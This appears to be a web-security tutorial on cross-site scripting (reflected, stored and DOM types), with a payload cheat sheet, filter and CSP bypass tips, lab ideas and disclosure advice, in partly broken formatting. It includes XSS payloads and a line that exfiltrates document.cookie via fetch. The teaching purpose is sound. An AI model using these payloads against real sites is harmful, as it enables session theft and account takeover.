Web Fundamentals (Absolute Foundation)
Exact XSS Types — Reflected / Stored / DOM
Payload is sent in a request and immediately reflected in server response.
Where to look: search pages, error messages, query strings, login pages, redirection parameters.
How to confirm: inject a short payload in a parameter and observe it rendered in the response (view source / DOM).
Example test parameter: ?q=<script>alert(1)</script>
.
Detection tips: use Burp Repeater to replay requests, check reflected locations in the HTML body and attributes, and use DOM breakpoints to confirm execution.
Payload is saved on the server (DB, file) and executes for any user that views the stored content.
Common sinks: comments, user profiles, message boards, file names displayed in UI, admin panels that render user content.
Testing: submit payloads in forms that persist; view as other roles (admin, user) and verify execution. Stored XSS often yields higher impact because it affects multiple victims.
All processing occurs in the browser: scripts read data (location, hash, postMessage, storage) and write it unsafely to DOM sinks.
Why it’s sneaky: Server logs may show nothing; standard server scanners often miss these.
How to find: inspect client JS, locate sinks (innerHTML/document.write/eval/setTimeout with string), and trace sources (location.search, location.hash, document.referrer, message events, cookies/localStorage).
Exhaustive Injection Point Enumeration
- Hidden parameters and JSON fields in API responses
- Headers (X-Forwarded-For, Referer) when app echoes them
- File upload names and metadata that render to pages
- WebSocket messages, server-sent events, and iframe srcdoc
Contexts & How to Escape Them (Core Skill)
<script>alert(1)</script>
. If tags are stripped, look for event handlers or inline elements." onerror=alert(1)
or using encoded quotes. Pay attention to single vs double quotes and attribute escaping.';alert(1);//
or use backticks in template literals. Proper escaping must be applied by developers in these contexts.Payload Crafting & Cheat Sheet (Practical)
Use these in safe labs to confirm XSS:
<script>alert(1)</script>
— basic confirm<img src=x onerror=alert(1)>
— attribute/event confirm<svg onload=alert(1)>
— alternate tag
Examples per context (conceptual):
- Attribute: close attribute then add event:
" onmouseover=alert(1)
- JS string: end string and append:
';fetch('/exfil?c='+document.cookie);//
- Data URIs / SVG: use
data:text/html;base64,...
or embedded SVG to bypass tag blocks - Template engines: identify unsafely injected variables and escape/encode accordingly
DOM XSS Deep Dive — Sources & Sinks
location.search
andlocation.hash
document.referrer
- postMessage data and messages from iframes
- localStorage / sessionStorage
innerHTML
, outerHTML
, document.write
, eval()
, setTimeout(string)
, insertAdjacentHTML
, and DOM APIs that parse HTML. Tracing flow from sources → transformation → sink is the key method.Filter & WAF Bypass Strategies (Advanced)
<
as <
or use UTF-8 homoglyphs to bypass naive filters.<svg>
, <math>
, or <meta>
tricks. These tags often contain event handlers that can trigger scripts or load external payloads.Content Security Policy (CSP) — Analysis & Common Bypasses
Content-Security-Policy
header: look at script-src
, style-src
, object-src
, and directives like unsafe-inline
or nonce/sha usage. Misconfigured whitelists are common mistakes.unsafe-inline
, allowing data:
or blob:
, overly permissive host wildcards, or trusting external domains that can be compromised. Nonces and hashes are strong mitigations when used correctly.Realistic Impact Scenarios
document.cookie
and exfiltrate session identifiers. If tokens are stored in localStorage, scripts can retrieve and reuse them. Demonstrating account takeover is high impact in bounty reports.Chaining XSS with Other Vulnerabilities
Labs, Practice Exercises & Lab Ideas
- Reflected lab: search parameter that echoes input in HTML
- Stored lab: comments/profile field stored and displayed to others
- DOM lab: single page app that reads location.hash and writes to innerHTML
Tooling & Automation
Report Writing & Responsible Disclosure
alert(1)
.